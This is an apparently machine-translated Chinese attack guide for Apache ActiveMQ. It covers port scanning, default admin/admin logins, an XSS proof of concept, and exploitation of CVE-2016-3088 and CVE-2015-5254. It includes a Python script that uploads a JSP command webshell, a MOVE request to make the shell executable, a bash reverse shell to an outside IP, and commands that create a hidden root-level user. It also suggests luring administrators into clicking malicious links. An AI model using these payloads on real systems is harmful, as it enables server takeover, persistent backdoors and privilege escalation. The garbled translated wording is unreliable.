攻击办法
探求目标
弱口令
未授权访问
源代码透露
XSS漏洞
远程代码实行漏洞
反序列化漏洞
ActiveMQApache ActiveMQ是美国阿帕奇(Apache)软件基金会所研发的一套开源的中间件,它支持Java做事、集群、Spring Framework等。随着中间件的启动,会打开两个端口,61616是事情端口,在这个端口进行通报;8161是Web管理页面端口。
Jetty 是一个开源的 servlet 容器,它为基于 Java 的 web 容器,例如 JSP 和 servlet 供应运行环境。ActiveMQ 5.0 及往后版本默认集成了jetty。在启动后供应一个监控 ActiveMQ 的 Web 运用。
攻击办法下面总结一下针对ActiveMQ中间件的攻击办法,总结来源于wooyun、vulhub、exploit-db。
探求目标
1、由于这个中间件会开放8363端口和61616端口,因此可以通过扫描端口,创造存在该做事的做事器,从而进行攻击。
2、由于ActiveMQ 5.0 及往后版本默认集成了jetty,因此也可以通过headers头信息中查看做事器信息判断,但这个不敷以确定做事器安装了ActiveMQ。
弱口令
admin/admin
/admin/connections.jsp
http://www.example.com:8161//admin/index.jsphttp://www.example.com:8161//admin/queues.jsphttp://www.example.com:8161//admin/topics.jsp
XSS漏洞
看这个POC该当是须要进入后台才可以利用的。
/admin/queueBrowse/example.A?view=rss&feedType=<script>alert("ACTIVEMQ")</script>
远程代码实行漏洞
CVE-2016-3088
ActiveMQ 的 web 掌握台分三个运用 ,admin,api 和 fileserver,个中 admin 是管 理 员 页 面 api 是 接 口,fileserver 是 储 存 文 件 的接 口;admin 和 api 都须要登录后才能利用,fileserver 无需登录。fileserver 是一个 RESTful API 接口,我们可以通过GET、PUT、DELETE等 HTTP 要求对个中存储的文件进行读写操作,其设计目的是为了填补行列步队操作不能传输、存储二进制文件的毛病。在5.12.x~5.13.x版本中,已经默认关闭了 fileserver 这个运用(你可以conf/jetty.xml中开启之);在5.14.0版本往后,彻底删除了 fileserver 运用。
漏洞事理:ActiveMQ 中的 FileServer 做事许可用户通过 HTTP PUT 方法上传文件到指定目录,布局PUT要求上传 webshell 到 fileserver 目录,然后通过 Move 方法将其移动到有实行权限的 admin/ 目录。
漏洞影响:Apache ActiveMQ 5.x ~ 5.14.0
漏洞利用流程
1、PUT上传
2、获取绝对路径
3、移动文件到admin目录或者api目录下,登录访问webshell
PUT上次Webshell代码
测试PUT总是失落败,因此写了个python脚本,免得改要求包。
import requestsurl = "http://192.168.0.11:8161/fileserver/shell2.txt"headers = { 'User-Agent':'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36', 'Cookie':'JSESSIONID=1gfll70wf7hfnbsmipaa6es3b' }payload = '''<%@ page import="java.io." %><% out.print("Hello</br>") String strcmd = request.getParameter("cmd"); String line = null; Process p = Runtime.getRuntime().exec(strcmd); BufferedReader br =new BufferedReader(new InputStreamReader(p.getInputStream())); while((line = br.readLine()) != null) { out.print(line+"</br>"); }%>'''response = requests.put(url,headers=headers,data=payload)status = response.status_codeif status == "204": print "PUT success!"else: print "False,please again!"
获取绝对路径
靶场给的页面,实际环境中该当是不存在的。
实际环境中可以通过下面的方法爆路径:
移动文件到admin目录或者api目录下,登录访问webshell
MOVE /fileserver/shell.txt HTTP/1.1Destination: file:///opt/activemq/webapps/api/shell.jspHost: 192.168.0.11:8161Accept: /Accept-Language: enUser-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)Connection: closeContent-Length: 0
我移动文件不知道为什么总是状态码500缺点。
局限性
webshell须要管理员账号密码,但理论上我们可以覆盖jetty.xml,将admin和api的登录限定去掉,然后再写入webshell。
反序列化漏洞
CVE-2015-5254
漏洞事理:Apache ActiveMQ 5.13.0之前5.x版本中存在安全漏洞,该漏洞源于程序没有限定可在代理中序列化的类。远程攻击者可借助特制的序列化的Java Message Service(JMS)ObjectMessage工具利用该漏洞实行任意代码。
工具:https://github.com/matthiaskaiser/jmet/releases/download/0.1.0/jmet-0.1.0-all.jar
漏洞利用流程
1. 布局(可以利用ysoserial)可实行命令的序列化工具
2. 作为一个,发送给目标61616端口
3. 访问web管理页面,读取消息,触发漏洞
下图是布局可实行命令的序列化工具,并发送给目标61616端口:
访问web管理页面,点击:
http://192.168.0.11:8161/admin/browse.jsp?JMSDestination=event
成功实行命令,如下图所示,多了success目录:
不仅如此我们还可以修正命令,反弹shell
bash -i >& /dev/tcp/192.168.31.41/8080 0>&1
测试时,反弹shell失落败了,缘故原由不明。
还可以修正命令,增加用户并提权
useradd -g root -s /bin/bash -u 10010 test //添加test用户并将其添加到root组sed -i "s/test:x:10010/test:x:0/g" /etc/passwd //将passwd中的test的uid修正为0echo"test:sd123456"|chpasswd//为test用户设置一个密码
局限性
通过web管理页面访问并触发漏洞这个过程须要管理员权限。 在没有密码的情形下,我们可以勾引管理员访问我们的链接以触发, 或者伪装成其他合法做事须要的,等待客户端访问的时候触发。